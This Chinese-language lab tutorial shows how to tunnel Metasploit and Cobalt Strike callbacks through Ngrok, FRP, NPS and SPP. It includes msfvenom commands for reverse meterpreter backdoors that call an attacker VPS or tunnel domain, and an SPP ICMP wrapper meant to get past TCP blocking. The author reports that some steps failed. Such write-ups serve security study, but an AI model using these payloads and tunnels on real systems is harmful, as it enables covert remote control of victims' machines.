前言
主要介绍一下常见的隧道搭建工具，以此来达到一个内网穿透的目的。简单说一下实验滴环境吧，kali作为攻击机，winserver2016作为目标靶机。
kali 192.168.145.171
winserver2016 10.236.44.127显然它们处于两个不同的局域网，此时要想通过msf来让winserver上线到kali是不可能滴。因为，kali处于另一个局域网内，winserver是找不到它的。那么此时我们就可以借助内网穿透工具，这个工具是处于公网中的，靶机是可以找到它的，然后这个工具再把流量转发到kali，不就可以实现上线了吗。有人可能会说，那我直接在vps安装一个msf不就行了吗。这个确实是可以，但是vps是要钱滴，而且你kaili那么多工具，你不可能全部都安装到vps上面吧。所以最终还是得利用内网穿透，来突破两个不同的局域网的限制，达到一个上线的目的。
Ngrok内网穿透
首先到官网注册一个账号。
地址：Sunny-Ngrok内网转发内网穿透 - 国内内网映射服务器
点击开通隧道，购买一个服务器，直接买这个免费的就行了。
协议的话这个工具支持三种，http、https、tcp。注意你这里选择什么协议开通的隧道，后面生成后门的时候就要选择相对于的协议。下面填的是kali的ip以及端口，其它密码啥的就不用管啦。
开通成功，点击客户端下载。
选择相对应的系统下载就行。
客户端执行下面命令，后面这串数字就是你隧道的id。奇怪的事情又来了，执行命令之后什么的反应也没有，实验步骤我也没有错啊。
./sunny clientid 210543434570
而且我直接复制它这个命令也不行，唉难搞。有无大佬知道为啥的，还恳请指点一二，有偿答谢。
这里我就简单说一下假如成功该咋样操作，msf生成后门，这里lhost绑定的是隧道生成的域名，lport绑定的是80端口，因为这个Ngrok这个网站默认是80端口，注意你隧道是什么协议，后门生成就用什么协议。
msfvenom -p windows/x64/meterpreter/reverse_http lhost=test1.free.idcfengye.com lport=80 -f exe >/home/wlw666/桌面/hhh.exe设置监听，监听端口是你生成隧道时填的端口，然后直接run即可。靶机上的后门先把流量发送到Ngrok服务端也就是网站，然后由于前面我们kail作为客户端已经和服务端建立连接，服务端就会把流量转发到我们的kali，实现上线msf。简单来说就是Ngrok服务端充当了一个在公网的中转站，让两个不同的局域网进行交流。
FRP内网穿透
FRP和Ngrok都差不多，只是它支持的协议要比Ngrok多好多，可以说是进阶款的工具。使用起来也是非常简单滴，同理也有客户端和服务端。当然啦，也分linux和windows版本，下载相对应的版本即可，这里我就不放链接了，因为我找不到了，实验环境还是差不多的。
vps 8.xxx.xxx.xxx
kali 192.168.145.171
靶机 10.236.2.204
顺便说一下，使用这个工具需要一台vps。Ngrok不需要vps是因为它网站本身充当了vps。把服务端以及配置文件上传到vps，也就是frps和frps.ini。服务端配置文件默认使用7000端口进行通讯。
启动客户端。
./frps
接着把客户端和客户端配置文件放到kali上面，也就是frpc和frpc.ini。修改客户端配置文件，顺便说明一下参数。
[common]
server_addr = 8.xxx.xxx.xxxx //服务端地址
server_port = 7000 //服务端通讯端口[test]
type = tcp //隧道协议
local_ip = 192.168.145.171 //kali的ip
local_port = 1111 //本地接收流量端口
remote_port = 2222 //服务端转发流量的端口
启动服务端。
./frpc -c frpc.ini
此时我们的vps和kali，通过frps和frpc建立了连接。访问8.xxx.xxx.xxx:2222的流量会通过我们建立的隧道转发到192.168.145.171:1111。使用msf生成一个后门，注意你上面设置的是什么隧道，我们就要生成什么协议的后门。
msfvenom -p windows/meterpreter/reverse_tcp lhost=8.xxx.xxx.xxx lport=2222 -f exe >/home/wlw666/桌面/hhh.exe
设置监听，监听地址是kali本地，端口自然也是1111。
放到靶机上面去运行，可以看到服务端显示有IP连接。
成功上线msf。
NPS内网穿透
这个NPS支持的协议就更多了，几乎支持所有常见的协议。使用方式和Ngrok差不多，Ngrok就是基于NPS开发的。同理也是有客户端和服务端，下载相对应的系统版本即可。实验环境和FRP的一样，就不再赘述了。
下载地址：Releases · ehang-io/nps (github.com)
服务端上传到vps，这里说一下服务端配置文件主要的参数，其它的不用管也行。
##bridge
bridge_type=tcp //隧道协议
bridge_port=8024 //服务端与客户端连接的端口
bridge_ip=0.0.0.0#web
web_host=a.o.com
web_username=admin //网站默认账号
web_password=1234 //网站默认密码
web_port = 8080 //网站默认访问端口
web_ip=0.0.0.0
web_base_url=
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
# if web under proxy use sub path. like http://host/nps need this.
#web_base_url=/nps
启动服务端。
网页访问一下，输入默认密码账号。
先新增一个客户端，备注随便弄个名字，其它密码啥的不用设置也行。
点击新建一个tcp隧道，客户id填我们刚刚创建的，备注随便，下面端口随便。2222是我们服务端接收流量的端口，1111是流量要转发到的端口。
客户端拖到kali上面，输入命令进行安装。
./nps install说一下客户端配置文件主要参数。
[common]
server_addr=8.xxx.xxx.xxx:8024 //vps地址，端口要和服务端的一样
conn_type=tcp //协议要和服务端一样
vkey=123456 //不用管
启动客户端，这个vkey就是你创建的客户端的唯一验证密钥。
./npc -server=8.xxx.xxx.xxx:8024 -vkey=sndudbk16evol2gv -type=tcp
msf生成后门，绑定的是vps的地址也就是服务端，端口是2222而不是1111。后门连接到vps的2222端口，然后转发到客户端也就是kaili的1111端口。
msfvenom -p windows/meterpreter/reverse_tcp lhost=8.xxx.xxx.xxx lport=2222 -f exe >/home/wlw666/桌面/1111.exe
设置监听，然后直接run。
后门放到windows上面运行即可上线msf。
SPP内网穿透
这个工具集成了穿透和隧道两个功能，既可以用来进行内网穿透也可以搭建隧道。如果在实战中遇到比较极端的环境，比如把tcp还有其它的协议封杀干净了，就可以用这个工具。
支持的协议：
TCP、UDP、RUDP（可靠 UDP）、RICMP（可靠 ICMP）、RHTTP（可靠 HTTP）、KCP、Quic
支持类型：
正向代理、反向代理、SOCKS5正向代理、SOCKS5反向代理
协议和类型可以自由组合
外部代理协议和内部转发协议可以自由组合
这里这个工具主要是演示一下隧道的搭建，这里windows靶机出站和入站我都封杀了tcp，演示一下icmp上线，实验环境依旧不变。
这个也是分客户端和服务端的，只不过它的客户端和服务端都是同一个文件。下载相对应的系统版本即可。
工具下载地址：Releases · esrrhs/spp (github.com)
这个工具也需要vps才行，因为不像Ngrok有网站来充当vps。启动服务端，监听本地icmp数据。
./spp -type server -proto ricmp -listen 0.0.0.0 ##这里设置监听ICMP协议，全端口
靶机是Windows，所以还得下载一个Windows版本的spp充当客户端。靶机执行命令，但是奇怪的事情又来了，命令执行后一直报错。一直说无法连接到服务端？？？但是我服务端是放在公网的vps的，而且ping也能ping通。我真的想骂人了。各种奇奇怪怪的问题都能遇见，真的烦啊。
把本地1111端口的tcp流量，封装成icmp然后转发到服务端的2222端口spp.exe -name "test" -type proxy_client -server 服务端ip -fromaddr :1111 -toaddr :2222 -proxyproto tcp -proto ricmp
我又把服务端放到与靶机同一局域网的kali，居然又能连接上了，那为什么连不是vps的服务端，真的是cnmb。
这里我就当可以连接上vps的服务端了，然后说一下如何上线CS。生成两个监听器，一个监听服务端的222端口，一个监听本地的1111端口。
用app-2生成一个后门放到靶机上面运行，成功上线之后。你会发现上线用的监听器是spp-1，而不是生成后门的spp-2。这是因为如果我们直接用spp-1生成后门的话，它流量是出不来的，因为我们封杀的tcp嘛。spp-2生成后门的话它的流量只会在原地转圈，因为连接地址为127.0.0.1。再通过SPP把流量封装好，转发到服务端的2222端口，此时我们的spp-1监听的是服务端，自然是spp-1上线咯。
总结
这个实验我没有做成功，老是遇到一些奇奇怪怪的问题，烦死了。如若有师傅了解，还恳请指点一二，有偿答谢。
最后，以上仅为个人的拙见，如何有不对的地方，欢迎各位师傅指正与补充，有兴趣的师傅可以一起交流学习。
